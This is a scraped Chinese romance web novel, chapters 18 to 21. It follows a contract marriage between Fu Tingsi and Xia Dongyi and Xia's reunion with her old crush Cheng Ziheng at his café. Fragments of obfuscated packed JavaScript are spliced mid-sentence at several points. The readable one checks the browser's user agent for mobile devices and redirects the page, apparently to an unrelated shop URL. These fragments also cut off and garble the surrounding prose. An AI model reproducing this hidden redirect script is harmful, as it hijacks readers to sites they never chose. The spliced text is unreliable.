“傅亭斯,你真的有毛病,神经病!”一松开手,夏冬意就开始骂骂咧咧起来,“我不要你喊我爸妈爸妈。” 傅亭斯一脸无辜的说道:“你也可以喊我爸妈爸妈,我没不让你喊。” “……”夏冬意气晕了,“我说的是这个吗?你不要给我混淆概念。” 她冷静了几秒,自我开解完了之后说道:“不过也没关系,反正装装样子也就一年而已,一年时间一到,我俩就各回各家各找各妈了,你爱怎么喊就怎么喊吧。” 说着,扔下傅亭斯就要走,手臂猛地被身后一个巨大的力道箍住,“傅亭斯,你干什么,还有完没完啊!……” 夏冬意一边拼命使劲甩开他,一边大声骂着他,不经意间转过头时,忽然,她顿住了。 傅亭斯肃沉着一张脸,别提有多骇人。 吓得她出不了声。 她将手收了回来,扭着被抓疼的手,小声嘟囔了一句:“你怎么了,又发什么神经,用那种眼神看着我干嘛?” “夏冬意。”傅亭斯连名带姓喊她的时候,总是会让夏冬意莫名的产生紧张感。 也许潜意识里,她是有点怕傅亭斯生气的。 她知道,傅亭斯的脾气其实并不好,他在小学和初中的时候,打架是出了名的,在学校没人敢轻易惹这个“小魔王”。 “小魔王”,这个绰号伴随到了他高中。 到了高中的傅亭斯改头换面,像变了一个人。 时间久远的快要忘记了。 在当下的某一刻,某一瞬间,久远而熟悉的记忆和感觉回归到了夏冬意体内。 傅亭斯黑如漆墨的眸子,沉沉望着她:“婚姻不是儿戏,更不是游戏,你想离婚,还得问问我是否同意,不是吗?” 夏冬意感觉喉咙干涩,嗓眼似堵住一般,半晌,发出了字音:“你……我们不是说好了吗……” 他突然打断她的话,加重语气,一字一顿说道:“我从来没有说过,打算和你离婚,所以希望,你最好也别有那种想法。” 说完,他没有停留,转身离开。 待他的背影消失在视野中,夏冬意才后知后觉般的,像一个缺氧的人,捂住飞快跳动的心口,大口的用力地呼吸着。 18. 小狗不听话 屋里,葛楚微正和江笑妍聊得欢,看到傅亭斯进来,抽空说道:“你爸让你去他书房一趟。” 傅亭斯没有回应,直接上了楼,来到书房,傅善民正结束一个远洋电话。 “爸,你找我。” 傅善民比了比对面的沙发,“来,坐。” 随即,自己也坐了下来。 向来严肃寡言的男人,即便在家里也改变不了领导者的威望,父子俩的相处仍旧保持和在公司一样的上下级关系。 傅善民打量着儿子,徐缓开口:“你和咚咚结婚,有没有其他不纯粹的想法?” 傅亭斯当然知道父亲所言何意,只是单纯反感他用大家长的那一套施压。垂了垂眼,淡淡道:“什么想法?” “不是因为她是你目前为止,最合适的结婚对象?” 傅善民说完,傅亭斯冷哼一声,略带嘲讽的目光扫过去,“我再怎么工于心计,权衡利弊,也不会拿这套对待咚咚。” 傅善民点点头:“那就好。婚礼要尽快抓紧。” 江市的传统向来是,孩子的婚礼都由父母一手操持,越是大家族越是如此。 傅亭斯在饭桌上也听出了两家父母的意思。 “爸,”他沉了沉眸,说道,“婚礼我想和咚咚商量着来,还是想以她喜欢的形式呈现。” 傅善民思考了会儿,松了口:“那就按你的意思弄吧,像样点,不要寒酸,钱不够就开口。” 傅亭斯点了点头:“没其他事我先走了。” 傅善民本想和他聊聊最近的工作,想到他还要忙着婚礼的事,便没再啰嗦。 傅亭斯快步走下楼,来到客厅和母亲们告别。 “怎么走的这么急,好歹晚饭吃回去呀。”葛楚微站起来,想着让他带点什么东西回去。 傅亭斯止住她动作:“下午咚咚还要上班,您别忙活了,和阿姨多说会儿话吧。” 江笑妍止不住说道:“还是小斯懂得体贴,我们咚咚……咦,咚咚人呢?” 傅亭斯:“在外面。我先走了,阿姨,您慢坐。”说着,脚步没停往外走。 — 傅亭斯出来的时候,远远望到夏冬意仍旧坐在凉亭里,双手托着下巴,春日的阳光肆意落在她身上,慵懒中带着淡淡的郁闷和厌倦。 傅亭斯几步走上凉亭的台阶。 听到声音,夏冬意转过头来。 视线无声对上。 傅亭斯在离她一米远处停下,“回去了,下午还要上班。” 夏冬意扭着头,脸上带着微微的诧异和茫然。 这人的变脸速度堪比川剧。 她没忘记刚才他是如何黑着脸丢下她的,现在他倒是好了,她还生气呢。 夏冬意撅起嘴,倨傲地抬了抬下巴,喊他:“傅亭斯。” “你杵那做什么?” “还不过来哄哄我。” 傅亭斯短促一笑。 夏冬意皱皱眉:“你笑什么?” 他低低头,嘴角的笑意没减:“没什么,只是……” “只是什么?” 傅亭斯摇了摇头。 只是想到了很久以前的一件往事,与眼前情景重叠。 那时两人还都是上幼儿园的年纪,夏冬意带着学校新认识的小伙伴送的礼物,来找傅亭斯玩。先前气氛倒也融洽,但两人在一起总免不了又要争吵,傅亭斯失手打碎了她心爱的礼物,夏冬意哭得很伤心,傅亭斯站在旁边不知所措,想起来要道歉的时候。 夏冬意擦擦眼泪,抬起一张泪眼婆娑的小脸,对他说道:“傅亭斯,你都不哄哄我的吗?在家里,只要我一哭,爸爸妈妈都会哄我的,你为什么不哄我?” 她的语气理所当然,带着哭腔,软软的,也奶奶的,明明一句很霸道的话,听起来却像是在撒娇。 夏冬意还是一点儿都没变。 夏冬意当然不会知道傅亭斯在想什么,更是搞他不懂,嘟囔了一句:“奇奇怪怪的。” 傅亭斯已走了过来,就在她以为他肯定不打算哄她的时候,被傅亭斯揽住了肩膀。 他的手似乎还似有若无地轻轻摩挲着她的肩头。 夏冬意心脏莫名其妙酥麻了一下。 “走吧,我们回家。” 傅亭斯神情自若地说着,揽着她步下凉亭的台阶。 夏冬意被傅亭斯揽在怀里,他高大的身躯罩着她,显得她极纤瘦修长,小鸟依人,仿佛保护者的姿态。虽然已经不是第一次,和傅亭斯产生肢体接触,但是这样和谐,他这样温柔,还是第一次。 夏冬意有些难以适从,感觉和傅亭斯之间,关系在悄无声息变了味,像变质的苹果,梨,香蕉,一切的水果,食物,失去了原有的味道。 让她不知道该怎么去面对这样的傅亭斯,又或者,确切的来说,是面对她自己的心。 还没等到夏冬意想明白,想清楚这其中的原因时,他们已经来到了车边,傅亭斯像来时那样,为她开了副驾门。夏冬意看了眼他,想说什么,可她自己心里都还是一团糟的,不知道当下该说些什么,就连问都不知道从哪里问起,便也作罢。 车从傅家出来,沿着林荫道一径往前开,绿树葱茏,交错的树影打落在车厢里,已有了夏的气息。 傅亭斯开着车,目视前方,状似不经意提到:“我爸问我们婚礼怎么办,我说要看你的意思。” 夏冬意顿住。她原以为把话讲得够清楚了。她缓慢地张了张口,由于太过震惊和无法接受,声音一个字一个字往外蹦:“我们不是已经……” 傅亭斯侧过头,语气自然又温和,和他平常反差很大。 “宝宝,既然分开已经成为我不能够阻拦的事实,我也只能接受。但婚礼,你也知道,我们不可能躲得掉。与其抵抗,还不如好好的配合,享受其中,毕竟这是人生的第一次,是我的第一次,也是你的第一次,我希望我们彼此之间能留下这段珍贵的纪念。” 夏冬意怔然无比,她以为自己在做梦。 这番话不像傅亭斯会说的,他什么时候变得这么成熟理智了? 她脸上露出微微的匪夷所思的表情:“你刚刚喊我什么,宝宝?” 说完,夏冬意自己先笑了。就觉得这两个字从傅亭斯嘴里出来,非常的违和。 傅亭斯一本正经道:“嗯,宝宝。” 对比他的正经,衬托出了她的不正经,夏冬意也觉得自己有点太不尊重人,她惊讶于傅亭斯发生如此巨大的改变,有些不敢相信的问道:“你刚才的话,是答应了?” 傅亭斯关注着前方的路况,脸上没有多余的表情,语气却是温柔:“如果我不答应,我们即便在一起也不会开心的,我不想让你不开心,宝宝。” 虽然,夏冬意潜意识里感觉有点怪怪的,但到底也没有深想,内心被一股暖流迅速地占满,女孩弯起一双漂亮的星月眼,情不自禁地扑过去抱住他的手臂,用脸轻轻地在上面蹭了蹭,用十分做作的语气表达着她此刻的心情:“老公,我真的好爱你哦。” 无论是真的还是假的,傅亭斯都倍感受用。 — 两人先回了一趟婚房。 夏冬意不放心傅小狗,特意和傅亭斯买了个笼子。 看到小狗还在,夏冬意终于放下心来。他们打来了热水,掺着冷水,在院子里给小狗洗澡。 为了避免小狗感冒,两人从厨房里接来热水,倒进水桶里,一趟一趟来回跑。 春天的阳光热烈生机,到处都是深浓的绿意,小狗摇着尾巴在他们脚边转来转去. 夏冬意很爱这样的画面。 出力她是不行的,顶多是把热水倒进水桶里,然后让傅亭斯来拎走,来个来回她就累了,坐在大门口的台阶上,托着下巴看傅亭斯来来回回地进屋又出来。 他拎着红色的塑料桶,桶里有水随着脚步幅度来回震荡,折过来又折过去,有点像海潮,停停落落着,却总能在即将要跳出桶沿的前一秒又退了回去。阳光穿透水桶底部,于是在地面上留下水的影子,折过来又折过去,像海潮。 夏冬意就这么托着下巴瞅着那水桶来来回回的,还有那拎着水桶的人,也来来回回的,好像不知疲倦似的。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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于是她站起来,假装没听见他说什么,走下台阶去逗弄傅小狗了,还不忘嘱咐傅亭斯:“快把水桶拎下来,傅小狗,你哥哥要给你洗澡了,开心不开心呀?” 傅亭保持微笑。 他不生气,一点也没有。 拍了拍僵硬的嘴角,拎起水桶跟上了夏冬意。 全身脏兮兮乌溜溜的小狗经水一冲,冲下来很多泥水,瞬间变成一只雪白干净的小胖狗。 “它看起来很会照顾自己诶,在外面流浪还吃得这么胖嘟嘟的。”夏冬意揉着小狗肉嘟嘟的小肚腩,仰起头,对正帮小狗身上浇水的傅亭斯说道。 傅亭斯舀水的动作微滞,有些出神地望着这姑娘脸上毫无防备的甜美笑容,小狗湿漉的鼻子轻轻蹭着他的手指,他似乎毫无察觉。 “傅亭斯,我们给他它取个新名字吧。”夏冬意摸着干净的小狗,又有了新的想法。 “原来的名字不好吗?”傅亭斯拿着一块大毛巾,将小狗包裹在里面,轻轻地擦拭着。 “傅小狗嘛,这个名字也很好,但是你会不高兴嘛。”夏冬意很善解人意的说道。 “谁说的,”傅亭斯一脸温柔宠溺地对她笑着:“我很喜欢,非常的喜欢。” 夏冬意轻轻推了下他的肩膀:“别开玩笑了,你怎么会喜欢?” “真的很喜欢。”傅亭斯眼眸是湿润润地望着她,长长的睫毛微垂着,像小狗一样湿漉的目光,温柔而又耐心地加重着语气:“我喜欢你这么喊我。” 夏冬意觉得有点毛骨悚然。 她有点不太想说话了,特别没劲,傅亭斯这是怎么了? 这难道是他对付她的一种策略? 没道理啊,这不像他啊。 想了想,夏冬意一本正经地对他讲道:“你是不是脑子被门拱了,要不要下午去医院瞧瞧?” 如果换做是以前的话,傅亭斯肯定回怼她一句:顺便把你的脑子也看一下。 但是今天,他却一改往常那毒舌劲,而是十分温和的说:“你说的有道理,我确实应该去看看脑科。” “……” 夏冬意无语仰头翻了个白眼。 这样他都能接的下去。 苍天啊。 没救了这人。 19. 小狗不听话 夏冬意刚一到公司,郁吱吱就闻着味儿赶到了。 “一上午去哪儿了,都没个人影,发信息发信息不回,打电话也不通,失踪了,还是昨儿晚上跟傅亭斯太激烈了。”郁吱吱满脸促狭,着重强调傅亭斯三个字。 昨天晚上在酒吧发生了什么,夏冬意到这会儿仍是云里雾里的,她也没那脸去问傅亭斯,毕竟光是被他录音的那件事就已经够她脚趾抠地一年了,更别提还有其他事。 经郁吱吱这么一提,夏冬意再迟钝也猜得到她们应该都见过傅亭斯了。 夏冬意只求放过,假装不知,一脸茫然:“什么傅亭斯?” “你就别装蒜了,”郁吱吱用卷起的A4纸轻轻拍她的脑袋,接着,声嘶力竭地控诉她的可耻行径,“夏咚咚,你瞒得我们好苦啊,我们都被你骗过去了,还以为你竹马是个拿不出手的丑八怪,靠,简直帅得天理难容,怪不得上次非得说翘臀大帅比丑,原来你才是他是骨灰级黑粉,你何苦这么描黑他啊。” 郁吱吱为傅亭斯鸣不平。 夏冬意一边打开电脑,一边把今天要做的工作内容列好清单,抽空淡淡地回答她:“你这是没跟他相处过,光看脸不行的,相处过之后你就知道那全是滤镜了。” “呵呵,”郁吱吱冷笑一声,“我未来的老公要是长成这样,他做任何事我都愿意原谅他。” 夏冬意竖起一个大拇指:“你真牛。” 郁吱吱托着下巴靠过来,神秘兮兮在她耳旁问:“你跟傅亭斯真结婚了啊?” 夏冬意一口口水差点呛到。 郁吱吱没注意到她微妙的神色,继续压低着声,满脸春意盎然的说道:“昨晚你在酒吧醉成那样,你老公没生气吧?” 老公? 不是。虽然她和傅亭斯是扯了证,也算是名义上的夫妻关系,偶尔她心情好的时候也会嘴甜的喊他几声老公,那都是做戏,并不往心里去,而且傅亭斯那货也会这么喊她,那都是做给别人看的,当不得真。 况且,和傅亭斯也只是暂时合作,他答应过她的,一年期限到就分开。到时如果说自己离婚,解释起来相当的麻烦,这就是夏冬意不想承认的原因。 索性就当没这事发生过。 郁吱吱这话,倒是提醒了夏冬意。 以这狗子的属性,不得对她明褒暗贬阴阳怪气一通,但他今天却是只字未提。真是怪事了。 夏冬意假意轻咳一声,淡定坦然的说:“他生什么气,应该是我生他的气好不好,谁好人家一天到晚没事就往酒吧跑的。” 她说完,郁吱吱好几秒没出声,眯着眼,耐人寻味地笑着。 夏冬意像被雷劈中一样,怔了半秒后,目光移开,盯着电脑屏幕,看起来一副忙碌工作的模样:“什么老公?” 郁吱吱嗤笑一声,推推她:“少来了,你装什么,搞得自己很忙一样的,还想瞒过我的这双法眼?” 郁吱吱上半身挨在她桌上,笑得眉飞色舞:“这可是傅亭斯亲口说的哦。” 夏冬意睫毛微微颤动了下。少顷,抬眸,一本正经道:“我跟你说哦亲爱的,这狗子暗恋我好久了,做梦都想让我嫁给他,他都跟我求了二十几次婚了呢,你觉得从他嘴里说出来的可信度有多大?” “哇塞!”郁吱吱满眼都是崇拜神色:“求了二十几次婚!你就一次都没动过心?没答应他?!” 夏冬意这人有个毛病,一吹起牛来就收不住,她兀自翘着嘴角,脑海中展现出傅亭斯单膝下跪向她求婚的画面,喜形于色,难以言表。得意洋洋道:“追我的人从江市排到法国了,他那条狗,哪儿凉快呆哪儿去吧。” 郁吱吱笑得外促狭,脑海里的限制级画面快乐地舞动着,脸部表情比夏冬意还要丰富:“哇,原来是大帅哥暗恋你啊,所以骗我们说他是你老公,趁机把你拐走,昨晚你俩没发生什么吧。” 夏冬意哪能不知道小黄人郁吱吱此刻的脑子里塞的都是些什么垃料。 想到这件事,夏冬意脑海中再次无故地浮现出来她非常不想回想起来的事情。 夏冬意很想甩开头脑里丧心病狂羞耻爆表的声音,郁闷得想撞墙,耳朵根也慢慢染红了,这一幕却被郁吱吱当成是某种信号,不知脑补出来了什么画面,咬着手指吃吃发笑:“昨晚……一定很精彩吧……” 夏冬意不仅感到郁闷,更感到一阵不被理解的苦闷。 “什么呀,”她气呼呼的,“你以为发生了什么?他把我昨晚喝断片的糗样都录下来了,今天一早起来纯心气我呢!这天底下就没有他傅狗做不出来的事!” “有趣啊这人!”郁吱吱大赞。 “……” 夏冬意无语凝噎。 不是她疯了,就是这世界癫了。 怪不得今天傅 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14129366|149142||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 亭斯看起来这么不正常。 于是,夏冬意顺势地想起了傅亭斯种种的行为变化。先是在他家凉亭跟她黑脸,回来以后,突然像变了一个人似的,不管她说什么,他都照单全收。 尤其是那双含情脉脉望着她的眼睛,夏冬意总感觉下一秒他就要从怀里掏出一把刀来。 口蜜腹剑,虚伪可怕的男人。 吃过了午饭,夏冬意伸着懒腰回到工位,无所事事的她被郁吱吱拉去楼下扫街。 “听说楼下昨天开了一家咖啡馆,老板是个超级大帅比。但是以你的眼光,应该看不上吧,毕竟你连傅亭斯那种级别的帅哥都觉得是丑人。” 自从知道傅亭斯是她的竹马以后,郁吱吱这张小嘴跟淬了毒似的,时不时都拿这种事开涮她。 夏冬意今天扎了个高丸子头,反手垫在脑后,嘴里咬一颗刚出门时从同事那顺过来的棒棒糖,飘忽不定地跟着郁吱吱身后,懒洋洋地走着。顺口接道:“我只是不喜欢傅亭斯那种装逼男的类型的,不代表我没有大众审美,如果是那种温柔的大帅比,我肯定是非常喜欢的呀。” 郁吱吱知道“温柔“一直是夏冬意的审美标准线,但她实际上对温柔这个概念没有特别深的体会,就只要长得帅的,郁吱吱都喜欢。浓眉大眼的帅哥她喜欢,行走的荷尔蒙她热血澎湃,更有像傅亭斯那种眉眼狭长,五官精致,身材又好的大帅哥她更是稀罕死了。 所以在郁吱吱的理解范畴内,夏冬意所谓的“温柔系”帅哥,就显得很抽象了。 “你经常说你喜欢温柔的大帅比,那你给我说说,到底啥样的才是你眼里的温柔系大帅比啊?”郁吱吱问出了这个她一直以来都十分想请教夏冬意的问题。 要是这么说的话。夏冬意莫名想起来一个人,就是程子衡。 也就是她的程哥哥。 那个让傅亭斯恨得牙痒痒的男人。 虽然夏冬意十分不理解,傅亭斯和程子衡,一个在江市十七中,一个在江市三中,八竿子打不着的两个人,人程子衡也没威胁到他的校草头衔,他有什么理由那么讨厌人家。 所以说来说去,还是他傅亭斯的脑子有点毛病。 想到这里,夏冬意掏出了手机来。 给傅亭斯发了条微信。 善良的咚咚:[我是来提醒你一下的,记得去看医院看看脑科。爱你的老婆,留。] 20. 小狗不听话 时隔经年,要准确地辨认出一个人,不是一件多么容易的事情。 布帘随风轻荡,听到动静声,距离夏冬意四五米的位置,咖啡吧台后面,正在擦拭着料理机的男人,抬起头来,习惯性地礼貌打了声招呼:“欢迎光临。” 看见夏冬意时,他脸上的神色明显地微凝了一下。 这是个长相斯文的男人,穿着白衬衫,戴一副金丝边眼镜,肤色白皙,面容清隽,十分的面善。 夏冬意仿佛被施了定身术般,望着男人,脑海中徒然冒出一个名字来,到了嘴边,却怎么也喊不出来。 短短几秒时间,男人表情转换了过来,冲夏冬意点了点头,露出一个温润的笑容:“夏冬意。” “好久不见。” 这一声喊和这熟悉的笑容,无故将夏冬意带回到了久远的那个夏日午后,泛着柠檬红茶的清香,透过玻璃瓶上的冒出的小水珠里,是独属于程子衡的专属回忆。 其实,如果不是他的那把独特的嗓音,光靠外貌,在刚才的那个瞬间,她竟没认出来。 在他叫出她的名字时,夏冬意还是微微地楞了楞神。 她愣住不是因为别的,而是十年未见,程子衡竟比她更早地认出她来。 不过,有些人天生记性很好,他们记得一样事物,一个人,不是只靠外在的强硬记忆,而是凭借味道,某一个特点,就像,她就算已经忘记了程子衡的长相,也仍记得他的声音那样。 “嗨,”夏冬意神色自然地抬起手,向他打了个简单的招呼:“程……学长?你怎么……这家咖啡店是你的?” 程子衡温温笑意:“坐吧,想喝点什么?” “随便什么都行。”夏冬意朝周围看了看。这个时间点,过来喝咖啡的人很少,是难得的闲暇时光。这里是两个开间那么大的面积,装修采用的是原木色和极简风,非常符合年轻人的口味。恰到好处的绿意点缀,使人身心愉悦。看得出来,设计是花了一番心思的。 夏冬意找了张离吧台较近的桌子,弯腰落座时,外面的门再次被打开。 郁吱吱抱着那本《悟空传》走进来。 程子衡再次说道:“欢迎光临。” 夏冬意笑道:“介绍一下,这是我朋友,郁吱吱。吱吱,这是我高中的学长兼校草。” 看到程子衡的郁吱吱两眼早就跟开了光一样,移不开去,但还是装得非常正经的说:“老板,你也喜欢这本书吗?现在知道这本书的人可不多了。” 夏冬意接道:“哪里没有人知道,我就知道的呀,我高中那会儿还特意去图书馆借过看呢。” 郁吱吱用一种另眼相看的目光望向夏冬意:“哇噻,看不出来啊夏咚咚,你竟然也这么好的品味。” 夏冬意不想欺骗人,小声说了句:“就是看不懂而已。” 说着,她偷偷瞄了眼程子衡的方向。 程子衡正有条不紊地做着咖啡,并没有注意到她们这里的谈话,不知为何,她有一种小小的松了一口气的莫名轻松感。 “猜你也看不懂的,这本书很深奥的,只有像我这种文青才能品鉴一番。”郁吱吱随手翻着书页,心思却并不在上面,托着下巴,用余光打量着程子衡,嘴角勾着不知名的花痴笑。 随后,她低声的,咬牙切齿地痛诉:“夏咚咚,你好不够意思啊,有这么帅的学长早不介绍给我。” 夏冬意双手托着两腮,目光似有若无地在程子衡身上流连,有口无心地念叨:“早知道他回来了,我还跟傅亭斯结什么婚呢。” 不过,也就一年时间,期限一到,她就能恢复自由身了。 程哥哥,你可一定要等到我啊。 “你在那自言自语说什么呢?”郁吱吱问。 夏冬意眼神迷茫,摇头道:“我也是比你早没几秒钟知道,他回来了。” “啊?”郁吱吱声音刚落下,程子衡端着两杯咖啡走过来。 他把左手那杯先放在郁吱吱面前,微笑说:“这是香草茉莉,请慢用。” 接着,把剩下那杯轻轻放在夏冬意手边,在她抬起眼,与他四目交接时,程子衡用只有夏冬意听得到的音量,低声如耳语般说道:“这是今天专门为你准备的新品,你最喜欢的,柠檬红茶。” 夏冬意耳边近乎失音,只能听到胸腔里的心跳砰砰作响,她下意识伸手去拿,拇指不小心触碰到了程子衡离开的无名指,微微的凉意,触电般的感觉。 她故作镇定地抬眸,看到男人嘴角含笑,轻语道:“尝尝看味道还喜欢吗?” 夏冬意垂下眼睫,低头抿掉上面的奶泡,润滑的奶香味带着柠檬的香甜,混在咖啡的醇厚中,有一种独特的芬芳,像是凌寒独放的梅花,只为冬天而绽放。 暖意裹着代表冬的清香,从喉口滑入胃里。 耳边,郁吱吱赞不绝口:“好喝好喝,程老板,你知道你在咱们圈子里特别火,都说你人长得帅,咖啡调得那更是一个呱呱叫。是吧,咚咚?” 夏冬意放下杯子,去看程子衡。 他正微微俯着身,擦着吧台,像是没有听到郁吱吱的话一样。 也是,那时在学校,他可比现在“火”好几百倍。 早就已经习以为常了。 哪里像傅亭斯那种人,高调得不行,他也就只剩下那张脸还算看得过去了,却硬是要把自己夸得跟个美神下凡一样。 想到这里,夏冬意忙打住了不该有的想法。 这么好的天气,良辰美景,想他干嘛呀。 此刻,近在咫尺,吧台后面那个男人才是真正的赏心悦目,修长的手指捏着淡蓝色的毛巾,吧台亮晶晶的,反着光,映照着男人清澈的眼眸和隽雅的面庞。 程子衡似乎永远都这么温柔,平和,任何时候,他都是如此的波澜不惊,温润如玉。 夏冬意终于鼓起勇气,向他问道:“学长,你什么时候回来的?” 闻言,程子衡放下那块淡蓝色的毛巾,抬了抬眸,轻缄道:“去年。” “你是怎么想到要来这开一家咖啡店的?”夏冬意像是随口聊起某个话题般,探寻他的近况。 程子衡并没有隐瞒的意思,极坦诚地道:“回国以后,有不少offer找我,我觉得我可能还是适合一个人独立工作,托朋友在附近的商圈看了几处商铺,最后选定这里,你也在附近工作?” 夏冬意点了点头:“我们就在对面的写字楼。” 程子衡笑道:“以后过来喝咖啡就方便了。” 顿了顿,他又说道:“听说你大学学的是设计,当初装修的时候,是想联系你的,发现你以前的手机号注销了,Q.Q……我们好像已经不是好友了。” 他声音很轻。 每个字眼却像是砸在了夏冬意心脏上,闷闷的。 夏冬意垂着眼,当初、当初……有太多的事情解释不清楚。 在旁人听着,只是寻常的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“不过,她好像还不知道我喜欢她。” “那怎么呢,赶紧表白吧,像你这样长得优秀,又帅的男人,哪个女生会拒绝啊。” 夏冬意讲不清楚听到这话具体的心情,有失落,也有点失魂落魄,但也没有到达肝肠寸断的地步,只是隐隐约约的小落寞,她不喜欢这个话题,很不喜欢。 程子衡却并不接郁吱吱的话,而是喊了一声:“咚咚。” 夏冬意感到一根弦,随着这一声崩断了,她有些茫然无措地抬起头望向他的方向。 程子衡还是那般温温的笑道:“有机会叫上傅亭斯来我这坐坐,我想他应该会接受我的邀约吧。” 话音刚落下,便听到门口的铃铛声传来一阵清脆悦耳的响声,接着隔断布帘被人从外面挑开。 一抹笔挺高大的身影走了进来。 “不用请了,你爷爷来了。” 来人说着话,走了几步,便不再往里走了,吊儿郎当地靠在意式拱形门柱旁,抱着手,歪着个头,眼睛盯着夏冬意的方向,嘴角勾着一抹讥诮的笑意。 话却是对着程子衡说的。 “别以为自己有多大能耐,我就是来看看,到底是什么东西这么大魅力,害我等了半天都等不到我老婆的信息。” “哦——”他拉长着腔调,阴阳怪气地笑了笑:“就为这么个货色啊,老婆,你就不能吃点好的吗?” 21. 小狗不听话 傅亭斯,他怎么会突然出现在这里? 夏冬意脑袋懵懵地转不动。 眼看着傅亭斯像鬼魅一样凭空出现。 又眼看着他走到她身旁,弯下腰,亲昵的姿势搂着她,说一些暧昧不清的话。 他越是吊儿郎当,越是漫不经心,越是说明问题很大。别人不知道,夏冬意怎么可能也不知道? 他们从小一块长大,他了解她比父母更甚,她也一样。甚至于说,看到他弯起的笑眼,嘴角勾起的弧度,她都能判断他心里在想什么。 傅亭斯这个人,半真半假,似是而非,让人琢磨不透,总以为没什么事是他特别在意的。 一直以来,夏冬意也是这么认为的,但是最近发生的事,老让她觉着傅亭斯不对劲。 但又说不清楚哪里不对劲。 她发现自己并没有想象中那么了解傅亭斯了。 如果换做是别人,在当下这个场景中,确实是会不知所措。 但她和傅亭斯不同,他们之前就有过约定,只是为了解一时燃眉之急,一个协议式的婚姻,她不当真,傅亭斯更不可能当真。 他会这么做的理由只有一个,就是做戏。 但是傅亭斯……他怎么回事?离得她这么近不说,手掌握着她的肩膀,似有若无地摩挲着,夏冬意轻微地扭动了一下,意图抵抗他的力道,却被锢地更紧了。 夏冬意后知后觉的意识到,傅亭斯的不对劲出自于何方。 男人的侵占欲过分浓烈。 强烈的不像在演戏。 又或者,她想,会不会是自己的错觉。 因为傅亭斯的演技太好,让她产生了错觉呢? 傅亭斯垂下眼,轻扫向她,眼风凉薄,嘴角的笑意加深,身体靠近了她些许,嘴唇几乎挨着她的耳朵,用只有她能听得到的气声说:“老婆,你想追求刺激,我都OK,但是这个家伙,太差了,不可以。” 温热的呼吸伴随着暧昧的语调扫进她的耳朵,在脖颈处荡起涟漪。夏冬意瑟缩了下脖子,比心理反应更快的是生理反应,浑身的毛孔都张开,脖颈和耳根染了几分红意。觉得半张脸都烫了起来。 心里却有点被他做作的神态和腔调恶心到了,尤其是那一声声的“老婆”。 隔桌的客人在轻声交谈,偶有微风吹动布帘,显得他们这一桌更加静谧,也显得气氛的诡异。 夏冬意半撩起眼皮,看到对面的程子衡微微诧异地望着她和傅亭斯。 夏冬意也曾想象过,和程子衡会以一种什么样的形式再次重逢。 实在想不到会是这样一种解释不清楚,却十分尴尬的场景下的一次见面。 既然往事不可回头,那当下就是最好的契机吧。 也许对程子衡还存有幻想,又也许,到底是执着,还是真的喜欢过,夏冬意也早已分不清了。 于是,夏冬意大大方方地对程子衡笑道:“介绍一下,傅亭斯,我爱人。” 程子衡始终维持着淡淡的笑容。他避开了夏冬意的目光,落寞地垂下眼,去看手里的递到嘴边的白色陶瓷杯。 “恭喜啊。”他轻语,低头去喝咖啡,嘴角的笑意同杯里的液体融为一体。 傅亭斯勾勾唇角。 不管怎么样,此刻他是一个胜利者。 即便他心里清楚,夏冬意会这么给他面子,不过是多年默契使然,无论他俩私下里怎么吵闹,在台面上,都不会让对方下不来。 但他始终都是胜利者。 哪怕是用卑鄙的手段赢下,他都是胜利者。 郁吱吱被眼前的这一幕震惊了。 她的脑容量快装不下突然峰回路转的爆炸信息。 这关系,这氛围,看起来挺复杂的。 但最让她感到费解的还是夏冬意。 是她亲口说,她和傅亭斯结婚只是傅亭斯的一面之词。 那现在,她自己怎么先承认了? 她不解的“啊——”了一声,下意识道:“咚咚,你不是说,你和傅亭斯,你们两个……” 夏冬意一个凌厉的眼风刮到,郁吱吱瞬间噤声。 夏冬意扬起微笑,单手托着下巴,手指慢慢卷着落在颊边的碎发。傅亭斯已经松开了手,半靠在她椅子的扶手边。她的余光视野能瞥到他嘴角浅勾的微弧,代表心情不错。 夏冬意本想说点破坏气氛的话,以此警告他不要那么嘚瑟,但她一时想不到,况且这个气氛下也不适宜开那样的玩笑,无论他们私底下怎么闹,到了台面上一直都是目标一致对外。长久以来,两人已达到共识。 尤其是注意到程子衡眼底的波动,更加坚定了夏冬意的决心。 “我们昨天刚领的证,还没来得及通知大家。”夏冬意近乎寻常的语气说完这句话。 “来喝喜酒啊。”傅亭斯将墨镜随手扔在桌上,露出无名指上的婚戒。 程子衡眼里涌动的光亮暗淡了下去。 傅亭斯忽然转头,对她说:“你是不是该上班了?” 夏冬意低头给郁吱吱打字的手指一顿。郁吱吱在微信上问她怎么回事,她编辑完“等会儿跟你解释”这几个字,按下发送,这才慢吞吞扫了眼屏幕顶部的时间。13:45。 下午两点上班,该走了。 夏冬意收起手机,喝完杯里最后一口咖啡,起身的时候,浅蓝色的裙摆滑过傅亭斯纹丝不动的黑色裤腿。她垂眼扫过,复而抬眼瞥他。 用眼神问他:你怎么还不走? 傅亭斯目光跟随着她起身,神色显得有些正经,和他往常不同。 没有眼神,也没有肢体语言,好像听得到她心里的话,回答她:“我喝杯咖啡再走。” 这在别人眼里是有些怪诞的,因为夏冬意什么也没说,他突然来这么一句。听到声音的时候,郁吱吱回头疑惑地看了眼傅亭斯。 夏冬意和傅亭斯视线短暂交流,转瞬错开。 “学长,”她笑着对程子衡挥挥手,“我们先走了,祝你生意兴隆呀。” 